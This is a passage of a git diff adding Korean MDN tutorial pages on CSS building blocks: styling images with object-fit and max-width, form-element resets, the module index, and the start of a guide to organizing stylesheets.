+<p>이 수업을 수행하여 이미 알고 있듯이 CSS 의 모든 것은 박스를 생성합니다. 이미지 파일의 고유 크기보다 작거나 큰 박스 안에 이미지를 배치하면, 박스보다 작게 나타나거나 박스가 overflow 됩니다. overflow 로 인해 발생하는 일에 대해 결정해야 합니다.</p>
+
+<p>아래 예에서는 크기가 200 픽셀인 두 개의 박스가 있습니다:</p>
+
+<ul>
+ <li>하나는 200 픽셀보다 작은 이미지를 포함합니다 — 이미지는 박스보다 작으며 이미지를 채우기 위해 늘어나지 않습니다.</li>
+ <li>다른 하나는 200 픽셀보다 커서 박스를 넘칩니다.</li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/images/size.html", '100%', 1000)}}</p>
+
+<p>overflow 문제에 대해 우리는 무엇을 할 수 있습니까?</p>
+
+<p><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">이전 수업</a> 에서 배운 것처럼 일반적인 기술은 이미지의 {{cssxref("max-width")}} 를 100% 로 만드는 것입니다. 이렇게하면 이미지가 박스보다 작지만 커질 수 없습니다. 이 기술은 <code><a href="/en-US/docs/Web/HTML/Element/video">&lt;video&gt;</a></code> 또는 <code><a href="/en-US/docs/Web/HTML/Element/iframe">&lt;iframe&gt;</a></code> 과 같은 다른 대체 요소와 함께 작동합니다.</p>
+
+<p><strong>위 예에서 <code>&lt;img&gt;</code> 요소에 <code>max-width: 100%</code> 를 추가하십시오. 작은 이미지는 변경되지 않지만, 큰 이미지는 박스에 맞게 작아집니다.</strong></p>
+
+<p>container 내부의 이미지에 대해 다른 선택을 할 수 있습니다. 예를 들어, 박스 크기를 완전히 덮을 수 있도록 이미지 크기를 조정할 수 있습니다.</p>
+
+<p>{{cssxref("object-fit")}} 속성이 도움이 될 수 있습니다. <code>object-fit</code> 를 사용할 때 대체 요소의 크기를 다양한 방식으로 박스에 맞게 조정할 수 있습니다.</p>
+
+<p>아래에서는 값 <code>cover</code> 를 사용하여 이미지의 크기를 줄이며, 화면 비율을 유지하여 박스를 깔끔하게 채웁니다. 종회비가 유지되면 이미지의 일부가 박스에 의해 잘립니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/images/object-fit.html", '100%', 1000)}}</p>
+
+<p><code>contain</code> 을 값으로 사용하면 이미지가 박스 안에 들어갈만큼 작아질 때까지 이미지가 축소됩니다. 박스와 종횡비가 다르면 "letterbox" 가 됩니다.</p>
+
+<p>박스를 채우지만 종횡비는 유지하지 않는 <code>fill</code> 값을 사용해 볼 수도 있습니다.</p>
+
+<h2 id="대체_요소_레이아웃">대체 요소 레이아웃</h2>
+
+<p>대체 요소에 다양한 CSS 레이아웃 기술을 사용하면, 다른 요소와 약간 다르게 동작할 수 있습니다. 예를 들어, flex 또는 grid 레이아웃에서 요소는 기본적으로 전체 영역을 채우기 위해 확장됩니다. 이미지가 늘어나지 않고 grid 영역 또는 flex container 의 시작 부분에 맞춰 정렬됩니다.</p>
+
+<p>아래 예에서 두 개의 열, 두 개의 행 grid container 가 있으며, 여기에는 네 개의 항목이 있습니다. 모든 <code>&lt;div&gt;</code> 요소는 배경색을 가지며 행과 열을 채우기 위해 확장됩니다. 그러나, 이미지가 늘어나지 않습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/images/layout.html", '100%', 1000)}}</p>
+
+<p>이 수업을 순서대로 따르는 경우 레이아웃을 아직 보지 않았을 수 있습니다. 대체 요소는 grid 또는 flex 레이아웃의 일부가 될 때, 기본 동작이 서로 다르다는 점을 유념해 주십시오. 기본적으로 배치로 인해 이상하게 늘어나지 않도록 하기 위해서입니다.</p>
+
+<p>grid 셀을 채우도록 이미지를 늘리려면, 다음과 같은 작업을 수행해야 합니다:</p>
+
+<pre class="brush: css">img {
+  width: 100%;
+  height: 100%;
+}</pre>
+
+<p>그러나 이것은 이미지를 늘릴 것이기 때문에, 아마 당신이 하고 싶지 않을 것입니다.</p>
+
+<h2 id="양식_Form_요소">양식 (Form) 요소</h2>
+
+<p>CSS 로 스타일링 할 때, 양식 요소는 까다로운 문제가 될 수 있으며 <a href="/en-US/docs/Learn/Forms">웹 양식 모듈</a> 에는 약식 요소의 까다로운 측면에 대한 자세한 안내서가 포함되어 있습니다. 이 기사에서 강조할 가치가 있는 몇 가지 기본 사항이 있습니다.</p>
+
+<p><code><a href="/en-US/docs/Web/HTML/Element/input">&lt;input&gt;</a></code> 요소를 통해 많은 양식 컨트롤이 페이지에 추가됩니다 — 텍스트 입력과 같은 간단한 양식 필드를 정의하고 색상 및 날짜 선택자와 같은 HTML5 에 추가된 보다 복잡한 필드를 통해 정의합니다. 여러줄로 된 텍스트 입력을 위한 <code><a href="/en-US/docs/Web/HTML/Element/textarea">&lt;textarea&gt;</a></code> 와 같은 일부 추가 요소와 <code><a href="/en-US/docs/Web/HTML/Element/fieldset">&lt;fieldset&gt;</a></code> 및 <code><a href="/en-US/docs/Web/HTML/Element/legend">&lt;legend&gt;</a></code> 와 같은 양식의 일부를 포함하고 레이블을 지정하는 데 사용되는 요소가 있습니다.</p>
+
+<p>HTML5 에는 또한 웹 개발자가 어떤 필드가 필요한지, 심지어 입력해야하는 콘텐츠 유형을 표시할 수 있는 속성이 포함되어 있습니다. 사용자가 예기치 않은 것을 입력하거나 필수 필드를 비워두면, 브라우저에 오류 메시지가 표시될 수 있습니다. 다른 브라우저는 이러한 항목에 대해 얼마나 많은 스타일과 사용자 정의가 허용되는지에 일관성이 없습니다.</p>
+
+<h3 id="텍스트_입력_요소_스타일링">텍스트 입력 요소 스타일링</h3>
+
+<p><code>&lt;input type="text"&gt;</code> 와 같은 텍스트 입력을 허용하는 요소, <code>&lt;input type="email"&gt;</code>, 과 같은 특정 유형 및 <code>&lt;textarea&gt;</code> 요소는 스타일이 매우 쉽고 다른 박스처럼 동작하는 경향이 있습니다. 귀하의 페이지에 이러한 요소의 기본 스타일은 사용자가 사이트를 방문하는 운영체제 및 브라우저에 따라 다릅니다.</p>
+
+<p>아래 예에서는 CSS 를 사용하여 일부 텍스트 입력의 스타일을 지정했습니다 — 테두리, 마진 및 패딩과 같은 항목이 모두 예상대로 적용되는 것을 볼 수 있습니다. 속성 선택자를 사용하여 다양한 입력 유형을 대상으로 하고 있습니다. 테두리를 조정하고, 필드에 배경색을 추가하고, 글꼴 및 패딩을 변경하여 이 양식의 모양을 변경하십시오.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/images/form.html", '100%', 1000)}}</p>
+
+<div class="blockIndicator warning">
+<p><strong>중요</strong>: 양식 요소의 스타일을 변경할 때 양식 요소임을 사용자에게 확실히 알 수 있도록 주의해야 합니다. 테두리와 배경이 없는 양식 입력을 작성할 수 있습니다. 이 입력 양식은 주변 내용과 거의 구분할 수 없습니다. 이로 인해 인식하고 채우기가 매우 어려워집니다.</p>
+</div>
+
+<p>이 과정의 HTML 부분에서 <a href="/en-US/docs/Learn/Forms/Styling_web_forms">양식 스타일</a> 에 대한 강의에서 설명한대로, 보다 복잡한 입력 유형 중 많은 부분이 운영체제에서 렌더링되며 스타일에 액세스할 수 없습니다. 따라서 항상 방문자마다 양식이 크게 달라지고 여러 브라우저에서 복잡한 양식을 테스트한다고 가정해야합니다.</p>
+
+<h3 id="상속_과_양식_요소">상속 과 양식 요소</h3>
+
+<p>일부 브라우저에서 양식 요소는 기본적으로 글꼴 스타일을 상속하지 않습니다. 따라서 양식 필드가 본문 또는 상위 요소에 정의된 글꼴을 사용하도록 하려면, 이 규칙을 CSS 에 추가해야 합니다.</p>
+
+<pre class="brush: css"><code>button,
+input,
+select,
+textarea {
+  font-family : inherit;
+  font-size : 100%;
+} </code></pre>
+
+<h3 id="양식_요소_및_박스_크기_조정">양식 요소 및 박스 크기 조정</h3>
+
+<p>여러 브라우저 양식 요소는 서로 다른 위젯에 다른 박스 크기 조정 규칙을 사용합니다. <a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">박스 모델 학습</a> 에서 <code>box-sizing</code> 속성에 대해 학습했으며 양식을 스타일링할 때 이 지식을 사용하여 양식 요소에서 너비와 높이를 설정할 때 일관된 경험을 보장할 수 있습니다.</p>
+
+<p>일관성을 유지하려면 모든 요소에서 마진과 패딩을 <code>0</code> 으로 설정한 다음 특정 컨트롤을 스타일링할 때 다시 마진을 추가하는 것이 좋습니다.</p>
+
+<pre class="brush: css"><code>button,
+input,
+select,
+textarea {
+  box-sizing: border-box;
+  padding: 0;
+  margin: 0;
+}</code></pre>
+
+<h3 id="다른_유용한_설정">다른 유용한 설정</h3>
+
+<p>위에서 언급한 규칙 외에도 <code>&lt;textarea&gt;</code> 에서 <code>overflow: auto</code> 를 설정하여 스크롤 막대가 필요하지 않은 경우 IE 에 스크롤 막대가 표시되지 않도록 설정해야 합니다:</p>
+
+<pre class="brush: css">textarea {
+  overflow: auto;
+}</pre>
+
+<h3 id="모든_것을_재설정_으로_통합">모든 것을 "재설정" 으로 통합</h3>
+
+<p>마지막 단계로, 위에서 설명한 다양한 속성을 다음 "양식 재설정" 으로 마무리하여 일관된 작업 기반을 제공할 수 있습니다. 여기에는 마지막 세 섹션에서 언급한 모든 항목이 포함됩니다:</p>
+
+<pre class="brush: css"><code>button,
+input,
+select,
+textarea {
+  font-family: inherit;
+  font-size: 100%;
+  box-sizing: border-box;
+  padding: 0; margin: 0;
+}
+
+textarea {
+  overflow: auto;
+} </code></pre>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: Normalizing 스타일 시트는 많은 개발자가 모든 프로젝트에 사용할 일련의 기본 스타일을 작성하는 데 사용됩니다. 일반적으로 이것들은 위에서 설명한 것과 비슷한 기능을 수행하므로, CSS 에 대한 작업을 수행하기 전에 브라우저마다 다른것이 일관된 기본값으로 설정되어 있는지 확인하십시오. 브라우저는 일반적으로 과거보다 일관성이 높기 때문에, 예전만큼 중요하지 않습니다. 그러나 하나의 예를 살펴보려면 많은 프로젝트에서 기본으로 사용되는 매우 인기있는 스타일 시트인 <a href="http://necolas.github.io/normalize.css/">Normalize.css</a> 를 확인하십시오.</p>
+</div>
+
+<p>스타일링 양식에 대한 자세한 내용은 이 안내의 HTML 섹션에 있는 두 기사를 살펴보십시오.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Forms/Styling_web_forms">웹 양식 스타일링</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Advanced_form_styling">고급 양식 스타일링</a></li>
+</ul>
+
+<h2 id="요약">요약</h2>
+
+<p>이 수업에서는 CSS 에서 이미지, 미디어 및 기타 특이한 요소로 작업할 때 발생할 수 있는 몇 가지 차이점을 강조했습니다. 다음 기사에서는 HTML 표의 스타일을 지정해야할 때 유용한 몇 가지 팁을 살펴보겠습니다.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="이번_강의에서는">이번 강의에서는</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">계단식 및 상속</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">CSS 선택자</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class 및 ID 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">속성 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes 및 pseudo-elements</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">결합자</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">박스 모델</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">배경 및 테두리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">다른 텍스트 방향 처리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">콘텐츠 overflow</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">값 과 단위</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS 에서 항목 크기 조정</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">이미지, 미디어 및 양식 요소</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">표 스타일링</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS 디버깅</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">CSS 정리</a></li>
+</ol>
diff --git a/files/ko/learn/css/building_blocks/index.html b/files/ko/learn/css/building_blocks/index.html
new file mode 100644
index 0000000000..aa2d21c448
--- /dev/null
+++ b/files/ko/learn/css/building_blocks/index.html
@@ -0,0 +1,90 @@
+---
+title: CSS 구성 블록
+slug: Learn/CSS/Building_blocks
+tags:
+  - Beginner
+  - CSS
+  - Learn
+  - NeedsTranslation
+  - TopicStub
+  - building blocks
+translation_of: Learn/CSS/Building_blocks
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">이 강의에서는 <a href="/en-US/docs/Learn/CSS/First_steps">CSS 첫 번째 단계</a> 가 중단된 부분을 처리합니다 — 이제 언어와 구문에 익숙해졌으며, 약간 더 깊이 익힐 때가 되었을 때, 이를 사용하는 기본적인 경험을 얻었습니다. 이 과목에서는 계단식 및 상속, 사용 가능한 모든 선택자 유형, 단위 크기 조정, 배경 및 테두리 스타일 지정, 디버깅 등을 살펴 봅니다.</p>
+
+<p class="summary">여기에서의 목표는 <a href="/en-US/docs/Learn/CSS/Styling_text">텍스트 스타일</a> 및 <a href="/en-US/docs/Learn/CSS/CSS_layout">CSS 레이아웃</a> 과 같은 보다 구체적인 분야로 이동하기 전에 유능한 CSS 를 작성하기 위한 도구를 제공하고 모든 필수 이론을 이해하도록 돕는 것입니다.</p>
+
+<h2 id="전제_조건">전제 조건</h2>
+
+<p>이 과목을 시작하기 전에 다음이 있어야 합니다:</p>
+
+<ol>
+ <li>컴퓨터 사용 및 수동적으로 웹을 사용하는 것 (즉, 보기기만 하고 콘텐츠를 소비하는 것.) 에 대한 기본적인 친숙성.</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a> 에 설명 된대로 기본 작업 환경과 <a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/Dealing_with_files">파일 처리</a> 에 설명 된대로 파일 작성 및 관리 방법에 대한 이해.</li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 과목에서 설명한 HTML 에 대한 기본적인 친숙성.</li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps">CSS 첫 번째 단계</a> 과목에서 논의된 CSS 의 기본 사항에 대한 이해.</li>
+</ol>
+
+<div class="note">
+<p><strong>참고</strong>: 자신의 파일을 만들 수 없는 컴퓨터/태블릿/기타 장치에서 작업하는 경우, <a href="http://jsbin.com/">JSBin</a> 또는 <a href="https://thimble.mozilla.org/">Thimble</a> 와 같은 온라인 코딩 프로그램에서 대부분의 코드 예제를 시험해 볼 수 있습니다.</p>
+</div>
+
+<h2 id="안내">안내</h2>
+
+<p>이 강의에서는 CSS 언어의 가장 중요한 부분을 다루는 다음 기사가 포함되어 있습니다. 그 과정에서 당신은 이해력을 시험할 수 있도록 하기 위해 많은 연습을 하게 될 것입니다.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">계단식 (cascade) 및 상속 (inheritance)</a></dt>
+ <dd>이번 수업의 목적은 CSS 가 HTML 에 적용되는 방법과 충돌을 해결하는 방법을 제어하는 CSS 의 가장 기본적인 개념인 — 계단식, 우선 순위 및 상속 — 에 대한 이해를 발전시키는 것입니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">CSS 선택자</a></dt>
+ <dd>사용 가능한 다양한 CSS 선택자가 있으며, 스타일을 지정할 요소를 선택할 때 세밀한 정밀도를 허용합니다. 이 기사와 하위 기사에서는 다양한 유형을 자세히 살펴보고 작동 방식을 살펴 보겠습니다. 하위 기사는 다음과 같습니다:
+ <ul>
+  <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class 및 ID 선택자</a></li>
+  <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">속성 선택자</a></li>
+  <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes 및 pseudo-elements</a></li>
+  <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">결합자 (combinators)</a></li>
+ </ul>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">박스 모델</a></dt>
+ <dd>CSS 의 모든 것에는 주위에 박스가 있으며, 이러한 박스를 이해하는 것은 CSS 를 사용하여 레이아웃을 만들거나 다른 항목과 항목을 정렬하는 데 중요합니다. 이 수업에서는 CSS <em><strong>박스 모델</strong> </em>을 제대로 살펴보고, 작동 방식 및 관련 용어를 이해하여 보다 복잡한 레이아웃 작업으로 넘어갈 수 있습니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">배경 및 테두리</a></dt>
+ <dd>이번 수업에서는 CSS 배경과 테두리로 할 수 있는 창의적인 작업을 살펴 보겠습니다. 그라데이션 (gradients), 배경 이미지 및 둥근 테두리를 추가하는 경우, 배경과 테두리는 CSS 의 많은 스타일 질문에 대한 답입니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">다른 텍스트 방향 처리</a></dt>
+ <dd>최근 몇 년 동안, CSS 는 오른쪽에서 왼쪽으로 뿐만 아니라, 위에서 아래로 (일본어와 같은) 내용을 포함하여 서로 다른 내용의 방향성을 더 잘 지원하기 위해 발전했습니다 — 이러한 다른 방향을 <strong>쓰기 모드 (writing modes)</strong> 라고 합니다. 학습 과정을 진행하고 레이아웃 작업을 시작하면 쓰기 모드에 대한 이해가 도움이 되므로 이 기사에서 소개합니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">콘텐츠 Overflow</a></dt>
+ <dd>이 수업에서는 CSS 의 또 다른 중요한 개념인 — <strong>overflow</strong> 를 살펴 봅니다. Overflow 는 박스 안에 편안하게 담기에는 너무 많은 내용이 있을 때 발생합니다. 이 안내서에서는 내용과 관리 방법에 대해 설명합니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">CSS 값 과 단위</a></dt>
+ <dd>CSS 에 사용된 모든 속성에는 해당 속성에 허용되는 값이 있습니다. 이 수업에서는 가장 일반적인 값과 사용 단위를 살펴 보겠습니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS 에서 항목 크기 조정</a></dt>
+ <dd>지금까지 다양한 수업에서는 CSS 를 사용하여 웹 페이지의 항목 크기를 조정하는 여러 가지 방법을 살펴 보았습니다. 디자인의 다양한 기능이 얼마나 큰지 이해하는 것이 중요하며, 이 수업에서는 CSS 를 통해 요소의 크기를 결정하는 다양한 방법을 요약하고 크기 조정과 관련하여 향후 도움이 될 몇 가지 용어를 정의합니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">이미지, 미디어 및 양식 요소</a></dt>
+ <dd>이 수업에서는 CSS 에서 특정 특수 요소를 처리하는 방법을 살펴 봅니다. 이미지, 기타 미디어 및 양식 요소는 일반 박스와 CSS 로 스타일을 지정할 수 있다는 점에서 약간 다르게 작동합니다. 무엇이 가능하고 불가능한지를 이해하면, 약간의 좌절감을 줄일 수 있으며, 이 수업에서는 알아야 할 주요 사항을 중점적으로 다룹니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">표 스타일링</a></dt>
+ <dd>HTML 표 스타일링은 세계에서 가장 매력적인 일이 아니지만, 때로는 우리 모두가 해야할 일입니다. 이 기사에서는 특정 표 스타일링 기술을 강조 표시하여 HTML 표를 보기 좋게 만드는 방법에 대한 안내서를 제공합니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS 디버깅</a></dt>
+ <dd>때로는 CSS 를 작성 할 때 CSS 가 예상 한 대로 동작하지 않는 문제가 발생합니다. 이 기사에서는 CSS 문제를 디버깅하는 방법에 대한 지침을 제공하고, 모든 최신 브라우저에 포함된 개발도구 (DevTools) 가 진행중인 작업을 찾는 데 어떻게 도움이 되는지 보여줍니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">CSS 정리</a></dt>
+ <dd>더 큰 스타일 시트와 큰 프로젝트에서 작업을 시작하면 큰 CSS 파일을 유지 관리하는 것이 어려울 수 있습니다. 이 기사에서는 CSS 를 쉽게 유지 관리 할 수 있도록 작성하는 몇 가지 모범 사례와 유지 관리를 개선하기 위해 다른 사용자가 사용하는 해결책을 간략하게 살펴 보겠습니다.</dd>
+</dl>
+
+<h2 id="평가">평가</h2>
+
+<p>CSS 기술을 테스트하고 싶습니까? 다음 평가는 위 안내서에서 다루는 CSS 에 대한 이해를 테스트 합니다.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension">기본 CSS 이해</a></dt>
+ <dd>이 평가는 기본적인 구문, 선택자, 우선 순위, 박스 모델 등에 대한 이해를 테스트 합니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper">멋진 편지지 만들기</a></dt>
+ <dd>올바른 인상을 남기고 싶다면, 멋진 편지지에 편지를 쓰는 것이 정말 좋습니다. 이 평가에서는 이러한 모양을 달성하기 위해 온라인 템플릿을 작성해야 합니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_boxes/A_cool_looking_box">멋진 박스</a></dt>
+ <dd>여기에서는 배경 및 테두리 스타일을 사용하여 눈길을 끄는 박스를 만드는 방법을 연습합니다.</dd>
+</dl>
+
+<h2 id="참고_항목">참고 항목</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/Building_blocks/Advanced_styling_effects">고급 스타일링 효과</a></dt>
+ <dd>이 기사는 박스 그림자, blend modes 및 필터 와 같은 흥미로운 고급 스타일링 기능에 대한 소개를 제공하는 트릭 박스 역할을 합니다.</dd>
+</dl>
diff --git a/files/ko/learn/css/building_blocks/organizing/index.html b/files/ko/learn/css/building_blocks/organizing/index.html
new file mode 100644
index 0000000000..a80c5cb17d
--- /dev/null
+++ b/files/ko/learn/css/building_blocks/organizing/index.html
@@ -0,0 +1,350 @@
+---
+title: CSS 구성
+slug: Learn/CSS/Building_blocks/Organizing
+translation_of: Learn/CSS/Building_blocks/Organizing
+---
+<div>{{LearnSidebar}}{{PreviousMenu("Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}</div>
+
+<p>더 큰 스타일 시트와 큰 프로젝트에서 작업을 시작하면 큰 CSS 파일을 유지 관리하는 것이 어려울 수 있습니다. 이 기사에서는 CSS 를 쉽게 유지 관리할 수 있도록 작성하는 몇 가지 모범 사례와 유지 관리성을 개선하기 위해, 다른 사용자가 사용하는 해결책을 간략하게 살펴보겠습니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td>기본 컴퓨터 활용 능력, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 작업</a> 에 대한 기본 지식,  HTML 기본 사항 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 학습) 및 , CSS 작동 방식 이해 (<a href="/en-US/docs/Learn/CSS/First_steps">CSS 첫 번째 단계</a> 학습)</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>스타일 시트 구성을 위한 몇 가지 팁과 모범사례를 배우고, CSS 구성 및 팀 작업에 도움이 되는 일반적인 사용법의 이름 지정 규칙 및 도구에 대해 알아보기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="CSS_를_깔끔하게_유지하는_팁">CSS 를 깔끔하게 유지하는 팁</h2>
+
+<p>다음은 스타일 시트를 체계적이고 깔끔하게 유지하는 방법에 대한 일반적인 제안입니다.</p>
+
+<h3 id="프로젝트에_코딩_스타일_가이드라인이_있습니다">프로젝트에 코딩 스타일 가이드라인이 있습니다?</h3>
+
+<p>기존 프로젝트에서 팀과 함께 작업하는 경우, 가장 먼저 확인해야 할 것은 프로젝트에 CSS 에 대한 기존 스타일 가이드라인이 있는지 여부입니다. 팀 스타일 안내는 항상 개인 취향보다 우선합니다. 일을 하는 옳고 그른 방법은 없지만, 일관성이 중요합니다.</p>
+
+<p>예를 들어, <a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS">MDN code 예제에 대한 CSS 지침</a> 을 살펴보십시오.</p>
+
+<h3 id="일관성_유지">일관성 유지</h3>
+
+<p>프로젝트 규칙을 설정하거나 단독으로 작업하는 경우, 가장 중요한 것은 일관성을 유지하는 것입니다. 일관성은 class 에 동일한 이름 지정 규칙 사용, 색상을 설명하는 한 가지 방법을 선택하거나, 일관된 형식을 유지하는 등의 모든 종류의 방식으로 적용할 수 있습니다 (예: 탭이나 공백을 사용하여 코드를 들여쓰기 하시겠습니까? 공백은 몇 칸입니까?)</p>
+
+<p>규칙을 항상 준수하면 일부 결정이 이미 내려졌기 때문에, CSS 를 작성할 때 필요한 정신적 부담이 줄어듭니다.</p>
+
+<h3 id="읽기_쉬운_CSS_서식">읽기 쉬운 CSS 서식</h3>
+
+<p>CSS 형식을 볼 수 있는 몇 가지 방법이 있습니다. 일부 개발자는 다음과 같이 모든 규칙을 한 라인에 넣습니다:</p>
+
+<pre class="brush: css">.box { background-color: #567895; }
+h2 { background-color: black; color: white; }</pre>
+
+<p>다른 개발자는 모든 것을 새로운 라인으로 나누는 것을 선호합니다:</p>
+
+<pre class="brush: css">.box {
+  background-color: #567895;
+}
+
+h2 {
+  background-color: black;
+  color: white;
+}</pre>
+
+<p>CSS 는 어떤 것을 사용하든 상관없습니다. 개인적으로 각 속성과 값 쌍을 새 라인에 추가하는 것이 더 읽기 쉽습니다.</p>
+
+<h3 id="CSS_주석_추가">CSS 주석 추가</h3>
+
+<p>CSS 에 주석을 추가하면 향후 개발자가 CSS 파일을 처리하는 데 도움이 되지만, 휴식 후 프로젝트에 다시 참여할 때도 도움이 됩니다.</p>
+
+<pre class="brush: css">/* 이것은 주석입니다
+여러 라인으로 구분할 수 있습니다. */</pre>
+
+<p>유용한 팁은 또한 스타일 시트의 논리 섹션 사이에 주석 블록을 추가하여 스캔할 때 다른 섹션을 신속하게 찾도록 도와주거나, CSS 의 해당 부분으로 바로 이동할 수 있는 정보를 제공하는 것이 좋습니다. 코드에 나타나지 않는 문자열을 사용하는 경우, 검색하여 섹션 간을 이동할 수 있습니다 — 아래에서 <code>||</code> 를 사용했습니다.</p>
+
+<pre class="brush: css">/* || 일반적인 스타일 */
+
+...
+
+/* || Typography */
+
+...
+
+/* || Header 및 Main Navigation */
+
+...
+
+</pre>
+
+<p>CSS 의 모든 사항에 대해 일일이 설명할 필요는 없습니다. 대부분 따로 설명이 필요없기 때문입니다. 여러분이 언급해야 할 것은 특정한 이유로 결정한 것들입니다.</p>
+
+<p>오래된 브라우저 비 호환성을 피하기 위해 CSS 속성을 특정 방식으로 사용했을 수 있습니다. 예를 들면 다음과 같습니다:</p>
+
+<pre class="brush: css">.box {
+  background-color: red; /* 그라데이션을 지원하지 않는 이전 브라우저의 대비책 */
+  background-image: linear-gradient(to right, #ff0000, #aa0000);
+}
+</pre>
+
+<p>아마도 여러분은 무언가를 성취하기 위해 자습서를 따랐을 것입니다. 그리고 CSS 는 약간 눈에 띄지 않습니다. 이 경우, 여러분은 주석에 자습서의 URL 을 추가할 수 있습니다. 1년 정도 지나고 이 프로젝트로 돌아왔을 때 자신에게 감사할 것입니다. 그에 대한 훌륭한 자습서가 있었음을 모호하게 기억할 수 있습니다. 그러나 어디에 있습니까?</p>
+
+<h3 id="Create_logical_sections_in_your_stylesheet">Create logical sections in your stylesheet</h3>
+
+<p>It is a good idea to have all of the common styling first in the stylesheet. This means all of the styles which will generally apply unless you do something special with that element. You will typically have rules set up for:</p>
+
+<ul>
+ <li><code>body</code></li>
+ <li><code>p</code></li>
+ <li><code>h1</code>, <code>h2</code>, <code>h3</code>, <code>h4</code>, <code>h5</code></li>
+ <li><code>ul</code> and <code>ol</code></li>
+ <li>The <code>table</code> properties</li>
+ <li>Links</li>
+</ul>
+
+<p>In this section of the stylesheet we are providing default styling for the type on the site, setting up a default style for data tables and lists and so on.</p>
+
+<pre class="brush: css">/* || GENERAL STYLES */
+
+body { ... }
+
+h1, h2, h3, h4 { ... }
+
+ul { ... }
+
+blockquote { ... }
+</pre>
+
+<p>After this section we could define a few utility classes, for example a class that removes the default list style for lists we're going to display as flex items or in some other way. If you have a few things you know you will want to apply to lots of different elements, they can come in this section.</p>
+
+<pre class="brush: css">/* || UTILITIES */
+
+.nobullets {
